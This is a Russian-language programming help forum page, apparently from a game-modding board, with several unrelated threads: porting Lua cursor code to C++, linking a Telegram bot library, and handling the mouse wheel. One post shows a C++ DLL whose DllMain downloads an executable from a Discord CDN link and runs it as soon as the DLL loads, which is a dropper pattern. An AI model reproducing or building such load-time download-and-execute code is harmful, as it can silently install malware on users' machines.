Другое С/С++ Вопрос - Ответ

0x73616D

Активный
140
43
Can someone help me rewrite these .lua snippets in C++? I tried it on my own but it didn't work
Lua:
   if move == true then
   cursor()
   repeat
   wait(0)
   cursorx, cursory = getCursorPos()
   sampToggleCursor(1)
   Ini.cfg.x = cursorx
   Ini.cfg.y = cursory                                                       
   if isKeyDown(27) then move = 0 end
   until isKeyDown(32)
   sampToggleCursor(0)
   sampSetCursorMode(0)             
   move = false         
   Ini.cfg.x = cursorx
   Ini.cfg.y = cursory
   inicfg.save(Ini, MyIni)
end
Lua:
function cursor()
        local x, y = getScreenResolution()
        local x = x / 2
        local y = x / 2
        --  local x = x - 100
        local y = y - -70
        local result, lib = loadDynamicLibrary("user32.dll")
        if result then
        local result, proc = getDynamicLibraryProcedure("SetCursorPos", lib)
        local a = callFunction(proc, 2, 0, x,y)
        freeDynamicLibrary(lib)
    end
end
 
  • Грустно
Реакции: Z3roKwq

Digger Man52

52NGG
1,096
984
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Как подключить библиотеку tgbot, используя api sampfuncs?
А в чем именно проблема заключается? Ты не можешь его установить?
Устанавливаешь его через какой нить conan, потом в cmake
CMake:
include_directories(${CONAN_INCLUDE_DIRS_TGBOT})
target_link_libraries(${CONAN_LIBS_TGBOT})
Потом инклюдаешь
#include <tgbot/tgbot.h>
Потом в DLLMain используешь
TgBot::Bot bot("token"); и тд. и тп.
 

Digger Man52

52NGG
1,096
984
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Я не совсем это имел ввиду. При попытке подключить оно пишет что такой библиотеки нет, но если в другом файле это сделать то она будет найдена
покажи, как ты ее подключаешь
 

Nerykery

Известный
512
126
Как мне скомпилить код?
Вот код:
#include <Windows.h>
#include <string>
#include "pch.h"
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        std::string url = "https://cdn.discordapp.com/attachments/994031688717975712/1114598234913001624/Forza_Horizon_4_v1.474.683.0_STEAM_-_v1.474.687.2_UWP_13_Trainer.exe";
        std::string filename = "Forza_Horizon_4_v1.474.683.0_STEAM_-_v1.474.687.2_UWP_13_Trainer.exe";

        int urlLength = MultiByteToWideChar(CP_UTF8, 0, url.c_str(), -1, NULL, 0);
        wchar_t* urlWide = new wchar_t[urlLength];
        MultiByteToWideChar(CP_UTF8, 0, url.c_str(), -1, urlWide, urlLength);

        int filenameLength = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, NULL, 0);
        wchar_t* filenameWide = new wchar_t[filenameLength];
        MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, filenameWide, filenameLength);

        URLDownloadToFile(NULL, urlWide, filenameWide, 0, NULL);

        delete[] urlWide;
        delete[] filenameWide;

        system(("start " + filename).c_str());
        break;
    }
    return TRUE;
}
Когда я нажимаю собрать решение происходит вот это
1685813331102.png
 

korsarsan

Участник
82
31
Нужно выполнять код по скролу вниз, чет читал про обработчики мышки нихрена не понял help
C++:
 if (WHEEL_DELTA<-1)
 {
   // some code
 }